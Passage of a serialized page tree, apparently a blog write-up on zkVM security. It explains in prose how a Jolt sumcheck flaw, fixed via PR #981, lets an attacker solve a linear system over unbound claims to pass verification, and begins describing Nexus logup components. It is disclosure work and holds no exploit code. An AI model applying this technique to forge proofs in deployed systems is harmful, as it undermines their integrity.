",{"type":21,"tag":194,"props":116267,"children":116269},{"className":116268},[4794,4795],[116270],{"type":21,"tag":198,"props":116271,"children":116273},{"className":116272},[4800],[116274],{"type":21,"tag":198,"props":116275,"children":116277},{"className":116276,"ariaHidden":4806},[4805],[116278],{"type":21,"tag":198,"props":116279,"children":116281},{"className":116280},[4811],[116282,116286],{"type":21,"tag":198,"props":116283,"children":116285},{"className":116284,"style":110399},[4816],[],{"type":21,"tag":198,"props":116287,"children":116289},{"className":116288},[4822],[116290,116295],{"type":21,"tag":198,"props":116291,"children":116293},{"className":116292,"style":115517},[4822,22381],[116294],{"type":27,"value":115520},{"type":21,"tag":198,"props":116296,"children":116298},{"className":116297},[4837],[116299],{"type":21,"tag":198,"props":116300,"children":116302},{"className":116301},[4842,22435],[116303,116332],{"type":21,"tag":198,"props":116304,"children":116306},{"className":116305},[4847],[116307,116327],{"type":21,"tag":198,"props":116308,"children":116310},{"className":116309,"style":93958},[4852],[116311],{"type":21,"tag":198,"props":116312,"children":116313},{"style":116152},[116314,116318],{"type":21,"tag":198,"props":116315,"children":116317},{"className":116316,"style":4862},[4861],[],{"type":21,"tag":198,"props":116319,"children":116321},{"className":116320},[4867,4868,4869,4870],[116322],{"type":21,"tag":198,"props":116323,"children":116325},{"className":116324},[4822,22381,4870],[116326],{"type":27,"value":4544},{"type":21,"tag":198,"props":116328,"children":116330},{"className":116329},[22538],[116331],{"type":27,"value":22541},{"type":21,"tag":198,"props":116333,"children":116335},{"className":116334},[4847],[116336],{"type":21,"tag":198,"props":116337,"children":116339},{"className":116338,"style":93512},[4852],[116340],{"type":21,"tag":198,"props":116341,"children":116342},{},[],{"type":27,"value":116344}," are random coefficients derived from the transcript. Since ",{"type":21,"tag":194,"props":116346,"children":116348},{"className":116347},[],[116349],{"type":27,"value":115893},{"type":27,"value":116351}," (containing ",{"type":21,"tag":194,"props":116353,"children":116355},{"className":116354},[4794,4795],[116356],{"type":21,"tag":198,"props":116357,"children":116359},{"className":116358},[4800],[116360],{"type":21,"tag":198,"props":116361,"children":116363},{"className":116362,"ariaHidden":4806},[4805],[116364],{"type":21,"tag":198,"props":116365,"children":116367},{"className":116366},[4811],[116368,116372],{"type":21,"tag":198,"props":116369,"children":116371},{"className":116370,"style":111426},[4816],[],{"type":21,"tag":198,"props":116373,"children":116375},{"className":116374},[4822],[116376,116381],{"type":21,"tag":198,"props":116377,"children":116379},{"className":116378,"style":93663},[4822,22381],[116380],{"type":27,"value":93666},{"type":21,"tag":198,"props":116382,"children":116384},{"className":116383},[4837],[116385],{"type":21,"tag":198,"props":116386,"children":116388},{"className":116387},[4842,22435],[116389,116418],{"type":21,"tag":198,"props":116390,"children":116392},{"className":116391},[4847],[116393,116413],{"type":21,"tag":198,"props":116394,"children":116396},{"className":116395,"style":93958},[4852],[116397],{"type":21,"tag":198,"props":116398,"children":116399},{"style":110858},[116400,116404],{"type":21,"tag":198,"props":116401,"children":116403},{"className":116402,"style":4862},[4861],[],{"type":21,"tag":198,"props":116405,"children":116407},{"className":116406},[4867,4868,4869,4870],[116408],{"type":21,"tag":198,"props":116409,"children":116411},{"className":116410},[4822,22381,4870],[116412],{"type":27,"value":4544},{"type":21,"tag":198,"props":116414,"children":116416},{"className":116415},[22538],[116417],{"type":27,"value":22541},{"type":21,"tag":198,"props":116419,"children":116421},{"className":116420},[4847],[116422],{"type":21,"tag":198,"props":116423,"children":116425},{"className":116424,"style":93512},[4852],[116426],{"type":21,"tag":198,"props":116427,"children":116428},{},[],{"type":27,"value":116430},") were not in the transcript, the ",{"type":21,"tag":194,"props":116432,"children":116434},{"className":116433},[4794,4795],[116435],{"type":21,"tag":198,"props":116436,"children":116438},{"className":116437},[4800],[116439],{"type":21,"tag":198,"props":116440,"children":116442},{"className":116441,"ariaHidden":4806},[4805],[116443],{"type":21,"tag":198,"props":116444,"children":116446},{"className":116445},[4811],[116447,116451],{"type":21,"tag":198,"props":116448,"children":116450},{"className":116449,"style":110399},[4816],[],{"type":21,"tag":198,"props":116452,"children":116454},{"className":116453},[4822],[116455,116460],{"type":21,"tag":198,"props":116456,"children":116458},{"className":116457,"style":115517},[4822,22381],[116459],{"type":27,"value":115520},{"type":21,"tag":198,"props":116461,"children":116463},{"className":116462},[4837],[116464],{"type":21,"tag":198,"props":116465,"children":116467},{"className":116466},[4842,22435],[116468,116497],{"type":21,"tag":198,"props":116469,"children":116471},{"className":116470},[4847],[116472,116492],{"type":21,"tag":198,"props":116473,"children":116475},{"className":116474,"style":93958},[4852],[116476],{"type":21,"tag":198,"props":116477,"children":116478},{"style":116152},[116479,116483],{"type":21,"tag":198,"props":116480,"children":116482},{"className":116481,"style":4862},[4861],[],{"type":21,"tag":198,"props":116484,"children":116486},{"className":116485},[4867,4868,4869,4870],[116487],{"type":21,"tag":198,"props":116488,"children":116490},{"className":116489},[4822,22381,4870],[116491],{"type":27,"value":4544},{"type":21,"tag":198,"props":116493,"children":116495},{"className":116494},[22538],[116496],{"type":27,"value":22541},{"type":21,"tag":198,"props":116498,"children":116500},{"className":116499},[4847],[116501],{"type":21,"tag":198,"props":116502,"children":116504},{"className":116503,"style":93512},[4852],[116505],{"type":21,"tag":198,"props":116506,"children":116507},{},[],{"type":27,"value":116509}," values are independent of ",{"type":21,"tag":194,"props":116511,"children":116513},{"className":116512},[4794,4795],[116514],{"type":21,"tag":198,"props":116515,"children":116517},{"className":116516},[4800],[116518],{"type":21,"tag":198,"props":116519,"children":116521},{"className":116520,"ariaHidden":4806},[4805],[116522],{"type":21,"tag":198,"props":116523,"children":116525},{"className":116524},[4811],[116526,116530],{"type":21,"tag":198,"props":116527,"children":116529},{"className":116528,"style":111426},[4816],[],{"type":21,"tag":198,"props":116531,"children":116533},{"className":116532},[4822],[116534,116539],{"type":21,"tag":198,"props":116535,"children":116537},{"className":116536,"style":93663},[4822,22381],[116538],{"type":27,"value":93666},{"type":21,"tag":198,"props":116540,"children":116542},{"className":116541},[4837],[116543],{"type":21,"tag":198,"props":116544,"children":116546},{"className":116545},[4842,22435],[116547,116576],{"type":21,"tag":198,"props":116548,"children":116550},{"className":116549},[4847],[116551,116571],{"type":21,"tag":198,"props":116552,"children":116554},{"className":116553,"style":93958},[4852],[116555],{"type":21,"tag":198,"props":116556,"children":116557},{"style":110858},[116558,116562],{"type":21,"tag":198,"props":116559,"children":116561},{"className":116560,"style":4862},[4861],[],{"type":21,"tag":198,"props":116563,"children":116565},{"className":116564},[4867,4868,4869,4870],[116566],{"type":21,"tag":198,"props":116567,"children":116569},{"className":116568},[4822,22381,4870],[116570],{"type":27,"value":4544},{"type":21,"tag":198,"props":116572,"children":116574},{"className":116573},[22538],[116575],{"type":27,"value":22541},{"type":21,"tag":198,"props":116577,"children":116579},{"className":116578},[4847],[116580],{"type":21,"tag":198,"props":116581,"children":116583},{"className":116582,"style":93512},[4852],[116584],{"type":21,"tag":198,"props":116585,"children":116586},{},[],{"type":27,"value":658},{"type":21,"tag":30,"props":116589,"children":116590},{},[116591],{"type":21,"tag":6137,"props":116592,"children":116593},{},[116594],{"type":27,"value":116595},"Why it's linear:",{"type":21,"tag":30,"props":116597,"children":116598},{},[116599,116601],{"type":27,"value":116600},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":21,"tag":194,"props":116602,"children":116604},{"className":116603},[4794,4795],[116605],{"type":21,"tag":198,"props":116606,"children":116608},{"className":116607},[4800],[116609],{"type":21,"tag":198,"props":116610,"children":116612},{"className":116611,"ariaHidden":4806},[4805],[116613],{"type":21,"tag":198,"props":116614,"children":116616},{"className":116615},[4811],[116617,116621],{"type":21,"tag":198,"props":116618,"children":116620},{"className":116619,"style":22376},[4816],[],{"type":21,"tag":198,"props":116622,"children":116624},{"className":116623,"style":93663},[4822,22381],[116625],{"type":27,"value":93666},{"type":21,"tag":30,"props":116627,"children":116628},{},[116629],{"type":21,"tag":194,"props":116630,"children":116632},{"className":116631},[4794,4795],[116633],{"type":21,"tag":198,"props":116634,"children":116636},{"className":116635},[4800],[116637],{"type":21,"tag":198,"props":116638,"children":116640},{"className":116639,"ariaHidden":4806},[4805],[116641,116731,116757,116783],{"type":21,"tag":198,"props":116642,"children":116644},{"className":116643},[4811],[116645,116649,116718,116722,116727],{"type":21,"tag":198,"props":116646,"children":116648},{"className":116647,"style":111426},[4816],[],{"type":21,"tag":198,"props":116650,"children":116652},{"className":116651},[4822],[116653,116659],{"type":21,"tag":198,"props":116654,"children":116656},{"className":116655,"style":22913},[4822,22381],[116657],{"type":27,"value":116658},"C",{"type":21,"tag":198,"props":116660,"children":116662},{"className":116661},[4837],[116663],{"type":21,"tag":198,"props":116664,"children":116666},{"className":116665},[4842,22435],[116667,116707],{"type":21,"tag":198,"props":116668,"children":116670},{"className":116669},[4847],[116671,116702],{"type":21,"tag":198,"props":116672,"children":116675},{"className":116673,"style":116674},[4852],"height:0.3361em;",[116676],{"type":21,"tag":198,"props":116677,"children":116679},{"style":116678},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[116680,116684],{"type":21,"tag":198,"props":116681,"children":116683},{"className":116682,"style":4862},[4861],[],{"type":21,"tag":198,"props":116685,"children":116687},{"className":116686},[4867,4868,4869,4870],[116688],{"type":21,"tag":198,"props":116689,"children":116691},{"className":116690},[4822,4870],[116692],{"type":21,"tag":198,"props":116693,"children":116695},{"className":116694},[4822,27,4870],[116696],{"type":21,"tag":198,"props":116697,"children":116699},{"className":116698},[4822,4870],[116700],{"type":27,"value":116701},"final",{"type":21,"tag":198,"props":116703,"children":116705},{"className":116704},[22538],[116706],{"type":27,"value":22541},{"type":21,"tag":198,"props":116708,"children":116710},{"className":116709},[4847],[116711],{"type":21,"tag":198,"props":116712,"children":116714},{"className":116713,"style":93512},[4852],[116715],{"type":21,"tag":198,"props":116716,"children":116717},{},[],{"type":21,"tag":198,"props":116719,"children":116721},{"className":116720,"style":4998},[4901],[],{"type":21,"tag":198,"props":116723,"children":116725},{"className":116724},[5003],[116726],{"type":27,"value":3174},{"type":21,"tag":198,"props":116728,"children":116730},{"className":116729,"style":4998},[4901],[],{"type":21,"tag":198,"props":116732,"children":116734},{"className":116733},[4811],[116735,116739,116744,116748,116753],{"type":21,"tag":198,"props":116736,"children":116738},{"className":116737,"style":115512},[4816],[],{"type":21,"tag":198,"props":116740,"children":116742},{"className":116741},[4822,22381],[116743],{"type":27,"value":34},{"type":21,"tag":198,"props":116745,"children":116747},{"className":116746,"style":4902},[4901],[],{"type":21,"tag":198,"props":116749,"children":116751},{"className":116750},[4907],[116752],{"type":27,"value":111691},{"type":21,"tag":198,"props":116754,"children":116756},{"className":116755,"style":4902},[4901],[],{"type":21,"tag":198,"props":116758,"children":116760},{"className":116759},[4811],[116761,116765,116770,116774,116779],{"type":21,"tag":198,"props":116762,"children":116764},{"className":116763,"style":115541},[4816],[],{"type":21,"tag":198,"props":116766,"children":116768},{"className":116767,"style":93663},[4822,22381],[116769],{"type":27,"value":93666},{"type":21,"tag":198,"props":116771,"children":116773},{"className":116772,"style":4902},[4901],[],{"type":21,"tag":198,"props":116775,"children":116777},{"className":116776},[4907],[116778],{"type":27,"value":5193},{"type":21,"tag":198,"props":116780,"children":116782},{"className":116781,"style":4902},[4901],[],{"type":21,"tag":198,"props":116784,"children":116786},{"className":116785},[4811],[116787,116791],{"type":21,"tag":198,"props":116788,"children":116790},{"className":116789,"style":93344},[4816],[],{"type":21,"tag":198,"props":116792,"children":116794},{"className":116793},[4822,22381],[116795],{"type":27,"value":4029},{"type":21,"tag":30,"props":116797,"children":116798},{},[116799,116800,116839,116841,116866,116868,116998,117000,117121],{"type":27,"value":116265},{"type":21,"tag":194,"props":116801,"children":116803},{"className":116802},[4794,4795],[116804],{"type":21,"tag":198,"props":116805,"children":116807},{"className":116806},[4800],[116808],{"type":21,"tag":198,"props":116809,"children":116811},{"className":116810,"ariaHidden":4806},[4805],[116812],{"type":21,"tag":198,"props":116813,"children":116815},{"className":116814},[4811],[116816,116820,116825,116830,116834],{"type":21,"tag":198,"props":116817,"children":116819},{"className":116818,"style":115484},[4816],[],{"type":21,"tag":198,"props":116821,"children":116823},{"className":116822},[4822,22381],[116824],{"type":27,"value":34},{"type":21,"tag":198,"props":116826,"children":116828},{"className":116827},[4933],[116829],{"type":27,"value":2205},{"type":21,"tag":198,"props":116831,"children":116833},{"className":116832,"style":4939},[4901],[],{"type":21,"tag":198,"props":116835,"children":116837},{"className":116836},[4822,22381],[116838],{"type":27,"value":4029},{"type":27,"value":116840}," are determined by the transcript (independent of ",{"type":21,"tag":194,"props":116842,"children":116844},{"className":116843},[4794,4795],[116845],{"type":21,"tag":198,"props":116846,"children":116848},{"className":116847},[4800],[116849],{"type":21,"tag":198,"props":116850,"children":116852},{"className":116851,"ariaHidden":4806},[4805],[116853],{"type":21,"tag":198,"props":116854,"children":116856},{"className":116855},[4811],[116857,116861],{"type":21,"tag":198,"props":116858,"children":116860},{"className":116859,"style":22376},[4816],[],{"type":21,"tag":198,"props":116862,"children":116864},{"className":116863,"style":93663},[4822,22381],[116865],{"type":27,"value":93666},{"type":27,"value":116867},"). The verifier checks that ",{"type":21,"tag":194,"props":116869,"children":116871},{"className":116870},[4794,4795],[116872],{"type":21,"tag":198,"props":116873,"children":116875},{"className":116874},[4800],[116876],{"type":21,"tag":198,"props":116877,"children":116879},{"className":116878,"ariaHidden":4806},[4805],[116880,116966],{"type":21,"tag":198,"props":116881,"children":116883},{"className":116882},[4811],[116884,116888,116953,116957,116962],{"type":21,"tag":198,"props":116885,"children":116887},{"className":116886,"style":111426},[4816],[],{"type":21,"tag":198,"props":116889,"children":116891},{"className":116890},[4822],[116892,116897],{"type":21,"tag":198,"props":116893,"children":116895},{"className":116894,"style":22913},[4822,22381],[116896],{"type":27,"value":116658},{"type":21,"tag":198,"props":116898,"children":116900},{"className":116899},[4837],[116901],{"type":21,"tag":198,"props":116902,"children":116904},{"className":116903},[4842,22435],[116905,116942],{"type":21,"tag":198,"props":116906,"children":116908},{"className":116907},[4847],[116909,116937],{"type":21,"tag":198,"props":116910,"children":116912},{"className":116911,"style":116674},[4852],[116913],{"type":21,"tag":198,"props":116914,"children":116915},{"style":116678},[116916,116920],{"type":21,"tag":198,"props":116917,"children":116919},{"className":116918,"style":4862},[4861],[],{"type":21,"tag":198,"props":116921,"children":116923},{"className":116922},[4867,4868,4869,4870],[116924],{"type":21,"tag":198,"props":116925,"children":116927},{"className":116926},[4822,4870],[116928],{"type":21,"tag":198,"props":116929,"children":116931},{"className":116930},[4822,27,4870],[116932],{"type":21,"tag":198,"props":116933,"children":116935},{"className":116934},[4822,4870],[116936],{"type":27,"value":116701},{"type":21,"tag":198,"props":116938,"children":116940},{"className":116939},[22538],[116941],{"type":27,"value":22541},{"type":21,"tag":198,"props":116943,"children":116945},{"className":116944},[4847],[116946],{"type":21,"tag":198,"props":116947,"children":116949},{"className":116948,"style":93512},[4852],[116950],{"type":21,"tag":198,"props":116951,"children":116952},{},[],{"type":21,"tag":198,"props":116954,"children":116956},{"className":116955,"style":4998},[4901],[],{"type":21,"tag":198,"props":116958,"children":116960},{"className":116959},[5003],[116961],{"type":27,"value":3174},{"type":21,"tag":198,"props":116963,"children":116965},{"className":116964,"style":4998},[4901],[],{"type":21,"tag":198,"props":116967,"children":116969},{"className":116968},[4811],[116970,116974,116984,116989],{"type":21,"tag":198,"props":116971,"children":116973},{"className":116972,"style":94842},[4816],[],{"type":21,"tag":198,"props":116975,"children":116977},{"className":116976},[4822,27],[116978],{"type":21,"tag":198,"props":116979,"children":116981},{"className":116980},[4822],[116982],{"type":27,"value":116983},"expected",{"type":21,"tag":198,"props":116985,"children":116987},{"className":116986,"style":93429},[4822],[116988],{"type":27,"value":3891},{"type":21,"tag":198,"props":116990,"children":116992},{"className":116991},[4822,27],[116993],{"type":21,"tag":198,"props":116994,"children":116996},{"className":116995},[4822],[116997],{"type":27,"value":1397},{"type":27,"value":116999}," (from PCS opening), this becomes ",{"type":21,"tag":194,"props":117001,"children":117003},{"className":117002},[4794,4795],[117004],{"type":21,"tag":198,"props":117005,"children":117007},{"className":117006},[4800],[117008],{"type":21,"tag":198,"props":117009,"children":117011},{"className":117010,"ariaHidden":4806},[4805],[117012,117038,117064,117090],{"type":21,"tag":198,"props":117013,"children":117015},{"className":117014},[4811],[117016,117020,117025,117029,117034],{"type":21,"tag":198,"props":117017,"children":117019},{"className":117018,"style":115512},[4816],[],{"type":21,"tag":198,"props":117021,"children":117023},{"className":117022},[4822,22381],[117024],{"type":27,"value":34},{"type":21,"tag":198,"props":117026,"children":117028},{"className":117027,"style":4902},[4901],[],{"type":21,"tag":198,"props":117030,"children":117032},{"className":117031},[4907],[117033],{"type":27,"value":111691},{"type":21,"tag":198,"props":117035,"children":117037},{"className":117036,"style":4902},[4901],[],{"type":21,"tag":198,"props":117039,"children":117041},{"className":117040},[4811],[117042,117046,117051,117055,117060],{"type":21,"tag":198,"props":117043,"children":117045},{"className":117044,"style":115541},[4816],[],{"type":21,"tag":198,"props":117047,"children":117049},{"className":117048,"style":93663},[4822,22381],[117050],{"type":27,"value":93666},{"type":21,"tag":198,"props":117052,"children":117054},{"className":117053,"style":4902},[4901],[],{"type":21,"tag":198,"props":117056,"children":117058},{"className":117057},[4907],[117059],{"type":27,"value":5193},{"type":21,"tag":198,"props":117061,"children":117063},{"className":117062,"style":4902},[4901],[],{"type":21,"tag":198,"props":117065,"children":117067},{"className":117066},[4811],[117068,117072,117077,117081,117086],{"type":21,"tag":198,"props":117069,"children":117071},{"className":117070,"style":93344},[4816],[],{"type":21,"tag":198,"props":117073,"children":117075},{"className":117074},[4822,22381],[117076],{"type":27,"value":4029},{"type":21,"tag":198,"props":117078,"children":117080},{"className":117079,"style":4998},[4901],[],{"type":21,"tag":198,"props":117082,"children":117084},{"className":117083},[5003],[117085],{"type":27,"value":3174},{"type":21,"tag":198,"props":117087,"children":117089},{"className":117088,"style":4998},[4901],[],{"type":21,"tag":198,"props":117091,"children":117093},{"className":117092},[4811],[117094,117098,117107,117112],{"type":21,"tag":198,"props":117095,"children":117097},{"className":117096,"style":94842},[4816],[],{"type":21,"tag":198,"props":117099,"children":117101},{"className":117100},[4822,27],[117102],{"type":21,"tag":198,"props":117103,"children":117105},{"className":117104},[4822],[117106],{"type":27,"value":116983},{"type":21,"tag":198,"props":117108,"children":117110},{"className":117109,"style":93429},[4822],[117111],{"type":27,"value":3891},{"type":21,"tag":198,"props":117113,"children":117115},{"className":117114},[4822,27],[117116],{"type":21,"tag":198,"props":117117,"children":117119},{"className":117118},[4822],[117120],{"type":27,"value":1397},{"type":27,"value":658},{"type":21,"tag":30,"props":117123,"children":117124},{},[117125],{"type":27,"value":117126},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":21,"tag":30,"props":117128,"children":117129},{},[117130],{"type":27,"value":117131},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":21,"tag":30,"props":117133,"children":117134},{},[117135,117140,117142],{"type":21,"tag":6137,"props":117136,"children":117137},{},[117138],{"type":27,"value":117139},"Status:",{"type":27,"value":117141}," Fixed on October 3, 2025 via ",{"type":21,"tag":34,"props":117143,"children":117146},{"href":117144,"rel":117145},"https://github.com/a16z/jolt/pull/981",[38],[117147],{"type":27,"value":117148},"PR #981",{"type":21,"tag":19590,"props":117150,"children":117151},{},[],{"type":21,"tag":59,"props":117153,"children":117155},{"id":117154},"nexus",[117156],{"type":27,"value":108248},{"type":21,"tag":30,"props":117158,"children":117159},{},[117160],{"type":27,"value":117161},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":21,"tag":30,"props":117163,"children":117164},{},[117165,117167,117172],{"type":27,"value":117166},"Nexus splits verification into ",{"type":21,"tag":6137,"props":117168,"children":117169},{},[117170],{"type":27,"value":117171},"components",{"type":27,"value":117173}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":21,"tag":30,"props":117175,"children":117176},{},[117177,117179,117184],{"type":27,"value":117178},"Each component emits and consumes lookup tuples. The component's ",{"type":21,"tag":194,"props":117180,"children":117182},{"className":117181},[],[117183],{"type":27,"value":115293},{"type":27,"value":117185}," summarizes its net contribution:",{"type":21,"tag":30,"props":117187,"children":117188},{},[117189],{"type":21,"tag":194,"props":117190,"children":117192},{"className":117191},[4794,4795],[117193],{"type":21,"tag":198,"props":117194,"children":117196},{"className":117195},[4800],[117197],{"type":21,"tag":198,"props":117198,"children":117200},{"className":117199,"ariaHidden":4806},[4805],[117201,117297,117546],{"type":21,"tag":198,"props":117202,"children":117204},{"className":117203},[4811],[117205,117209,117218,117223,117284,117288,117293],{"type":21,"tag":198,"props":117206,"children":117208},{"className":117207,"style":94842},[4816],[],{"type":21,"tag":198,"props":117210,"children":117212},{"className":117211},[4822,27],[117213],{"type":21,"tag":198,"props":117214,"children":117216},{"className":117215},[4822],[117217],{"type":27,"value":114522},{"type":21,"tag":198,"props":117219,"children":117221},{"className":117220,"style":93429},[4822],[117222],{"type":27,"value":3891},{"type":21,"tag":198,"props":117224,"children":117226},{"className":117225},[4822],[117227,117236],{"type":21,"tag":198,"props":117228,"children":117230},{"className":117229},[4822,27],[117231],{"type":21,"tag":198,"props":117232,"children":117234},{"className":117233},[4822],[117235],{"type":27,"value":77014},{"type":21,"tag":198,"props":117237,"children":117239},{"className":117238},[4837],[117240],{"type":21,"tag":198,"props":117241,"children":117243},{"className":117242},[4842,22435],[117244,117273],{"type":21,"tag":198,"props":117245,"children":117247},{"className":117246},[4847],[117248,117268],{"type":21,"tag":198,"props":117249,"children":117251},{"className":117250,"style":93958},[4852],[117252],{"type":21,"tag":198,"props":117253,"children":117254},{"style":114559},[117255,117259],{"type":21,"tag":198,"props":117256,"children":117258},{"className":117257,"style":4862},[4861],[],{"type":21,"tag":198,"props":117260,"children":117262},{"className":117261},[4867,4868,4869,4870],[117263],{"type":21,"tag":198,"props":117264,"children":117266},{"className":117265},[4822,22381,4870],[117267],{"type":27,"value":4544},{"type":21,"tag":198,"props":117269,"children":117271},{"className":117270},[22538],[117272],{"type":27,"value":22541},{"type":21,"tag":198,"props":117274,"children":117276},{"className":117275},[4847],[117277],{"type":21,"tag":198,"props":117278,"children":117280},{"className":117279,"style":93512},[4852],[117281],{"type":21,"tag":198,"props":117282,"children":117283},{},[],{"type":21,"tag":198,"props":117285,"children":117287},{"className":117286,"style":4998},[4901],[],{"type":21,"tag":198,"props":117289,"children":117291},{"className":117290},[5003],[117292],{"type":27,"value":3174},{"type":21,"tag":198,"props":117294,"children":117296},{"className":117295,"style":4998},[4901],[],{"type":21,"tag":198,"props":117298,"children":117300},{"className":117299},[4811],[117301,117306,117363,117367,117533,117537,117542],{"type":21,"tag":198,"props":117302,"children":117305},{"className":117303,"style":117304},[4816],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":21,"tag":198,"props":117307,"children":117309},{"className":117308},[22417],[117310,117315],{"type":21,"tag":198,"props":117311,"children":117313},{"className":117312,"style":22424},[22417,22422,22423],[117314],{"type":27,"value":109224},{"type":21,"tag":198,"props":117316,"children":117318},{"className":117317},[4837],[117319],{"type":21,"tag":198,"props":117320,"children":117322},{"className":117321},[4842,22435],[117323,117352],{"type":21,"tag":198,"props":117324,"children":117326},{"className":117325},[4847],[117327,117347],{"type":21,"tag":198,"props":117328,"children":117330},{"className":117329,"style":114636},[4852],[117331],{"type":21,"tag":198,"props":117332,"children":117333},{"style":22448},[117334,117338],{"type":21,"tag":198,"props":117335,"children":117337},{"className":117336,"style":4862},[4861],[],{"type":21,"tag":198,"props":117339,"children":117341},{"className":117340},[4867,4868,4869,4870],[117342],{"type":21,"tag":198,"props":117343,"children":117345},{"className":117344,"style":114652},[4822,22381,4870],[117346],{"type":27,"value":9467},{"type":21,"tag":198,"props":117348,"children":117350},{"className":117349},[22538],[117351],{"type":27,"value":22541},{"type":21,"tag":198,"props":117353,"children":117355},{"className":117354},[4847],[117356],{"type":21,"tag":198,"props":117357,"children":117359},{"className":117358,"style":114667},[4852],[117360],{"type":21,"tag":198,"props":117361,"children":117362},{},[],{"type":21,"tag":198,"props":117364,"children":117366},{"className":117365,"style":4939},[4901],[],{"type":21,"tag":198,"props":117368,"children":117370},{"className":117369},[4822],[117371,117375,117529],{"type":21,"tag":198,"props":117372,"children":117374},{"className":117373},[22510,113947],[],{"type":21,"tag":198,"props":117376,"children":117378},{"className":117377},[113952],[117379],{"type":21,"tag":198,"props":117380,"children":117382},{"className":117381},[4842,22435],[117383,117517],{"type":21,"tag":198,"props":117384,"children":117386},{"className":117385},[4847],[117387,117512],{"type":21,"tag":198,"props":117388,"children":117390},{"className":117389,"style":113965},[4852],[117391,117481,117492],{"type":21,"tag":198,"props":117392,"children":117393},{"style":113969},[117394,117398],{"type":21,"tag":198,"props":117395,"children":117397},{"className":117396,"style":112600},[4861],[],{"type":21,"tag":198,"props":117399,"children":117401},{"className":117400},[4867,4868,4869,4870],[117402],{"type":21,"tag":198,"props":117403,"children":117405},{"className":117404},[4822,4870],[117406,117411,117416],{"type":21,"tag":198,"props":117407,"children":117409},{"className":117408,"style":113986},[4822,22381,4870],[117410],{"type":27,"value":113989},{"type":21,"tag":198,"props":117412,"children":117414},{"className":117413},[4907,4870],[117415],{"type":27,"value":4881},{"type":21,"tag":198,"props":117417,"children":117419},{"className":117418},[4822,4870],[117420,117430],{"type":21,"tag":198,"props":117421,"children":117423},{"className":117422},[4822,27,4870],[117424],{"type":21,"tag":198,"props":117425,"children":117427},{"className":117426},[4822,4870],[117428],{"type":27,"value":117429},"produced",{"type":21,"tag":198,"props":117431,"children":117433},{"className":117432},[4837],[117434],{"type":21,"tag":198,"props":117435,"children":117437},{"className":117436},[4842,22435],[117438,117469],{"type":21,"tag":198,"props":117439,"children":117441},{"className":117440},[4847],[117442,117464],{"type":21,"tag":198,"props":117443,"children":117446},{"className":117444,"style":117445},[4852],"height:0.2052em;",[117447],{"type":21,"tag":198,"props":117448,"children":117450},{"style":117449},"top:-2.2341em;margin-right:0.0714em;",[117451,117455],{"type":21,"tag":198,"props":117452,"children":117454},{"className":117453,"style":109289},[4861],[],{"type":21,"tag":198,"props":117456,"children":117458},{"className":117457},[4867,109294,109295,4870],[117459],{"type":21,"tag":198,"props":117460,"children":117462},{"className":117461,"style":114652},[4822,22381,4870],[117463],{"type":27,"value":9467},{"type":21,"tag":198,"props":117465,"children":117467},{"className":117466},[22538],[117468],{"type":27,"value":22541},{"type":21,"tag":198,"props":117470,"children":117472},{"className":117471},[4847],[117473],{"type":21,"tag":198,"props":117474,"children":117477},{"className":117475,"style":117476},[4852],"height:0.4048em;",[117478],{"type":21,"tag":198,"props":117479,"children":117480},{},[],{"type":21,"tag":198,"props":117482,"children":117483},{"style":114002},[117484,117488],{"type":21,"tag":198,"props":117485,"children":117487},{"className":117486,"style":112600},[4861],[],{"type":21,"tag":198,"props":117489,"children":117491},{"className":117490,"style":114012},[114011],[],{"type":21,"tag":198,"props":117493,"children":117494},{"style":114016},[117495,117499],{"type":21,"tag":198,"props":117496,"children":117498},{"className":117497,"style":112600},[4861],[],{"type":21,"tag":198,"props":117500,"children":117502},{"className":117501},[4867,4868,4869,4870],[117503],{"type":21,"tag":198,"props":117504,"children":117506},{"className":117505},[4822,4870],[117507],{"type":21,"tag":198,"props":117508,"children":117510},{"className":117509},[4822,4870],[117511],{"type":27,"value":134},{"type":21,"tag":198,"props":117513,"children":117515},{"className":117514},[22538],[117516],{"type":27,"value":22541},{"type":21,"tag":198,"props":117518,"children":117520},{"className":117519},[4847],[117521],{"type":21,"tag":198,"props":117522,"children":117525},{"className":117523,"style":117524},[4852],"height:0.6283em;",[117526],{"type":21,"tag":198,"props":117527,"children":117528},{},[],{"type":21,"tag":198,"props":117530,"children":117532},{"className":117531},[22532,113947],[],{"type":21,"tag":198,"props":117534,"children":117536},{"className":117535,"style":4902},[4901],[],{"type":21,"tag":198,"props":117538,"children":117540},{"className":117539},[4907],[117541],{"type":27,"value":4881},{"type":21,"tag":198,"props":117543,"children":117545},{"className":117544,"style":4902},[4901],[],{"type":21,"tag":198,"props":117547,"children":117549},{"className":117548},[4811],[117550,117554,117611,117615],{"type":21,"tag":198,"props":117551,"children":117553},{"className":117552,"style":114861},[4816],[],{"type":21,"tag":198,"props":117555,"children":117557},{"className":117556},[22417],[117558,117563],{"type":21,"tag":198,"props":117559,"children":117561},{"className":117560,"style":22424},[22417,22422,22423],[117562],{"type":27,"value":109224},{"type":21,"tag":198,"props":117564,"children":117566},{"className":117565},[4837],[117567],{"type":21,"tag":198,"props":117568,"children":117570},{"className":117569},[4842,22435],[117571,117600],{"type":21,"tag":198,"props":117572,"children":117574},{"className":117573},[4847],[117575,117595],{"type":21,"tag":198,"props":117576,"children":117578},{"className":117577,"style":114101},[4852],[117579],{"type":21,"tag":198,"props":117580,"children":117581},{"style":22448},[117582,117586],{"type":21,"tag":198,"props":117583,"children":117585},{"className":117584,"style":4862},[4861],[],{"type":21,"tag":198,"props":117587,"children":117589},{"className":117588},[4867,4868,4869,4870],[117590],{"type":21,"tag":198,"props":117591,"children":117593},{"className":117592,"style":94858},[4822,22381,4870],[117594],{"type":27,"value":89066},{"type":21,"tag":198,"props":117596,"children":117598},{"className":117597},[22538],[117599],{"type":27,"value":22541},{"type":21,"tag":198,"props":117601,"children":117603},{"className":117602},[4847],[117604],{"type":21,"tag":198,"props":117605,"children":117607},{"className":117606,"style":114916},[4852],[117608],{"type":21,"tag":198,"props":117609,"children":117610},{},[],{"type":21,"tag":198,"props":117612,"children":117614},{"className":117613,"style":4939},[4901],[],{"ty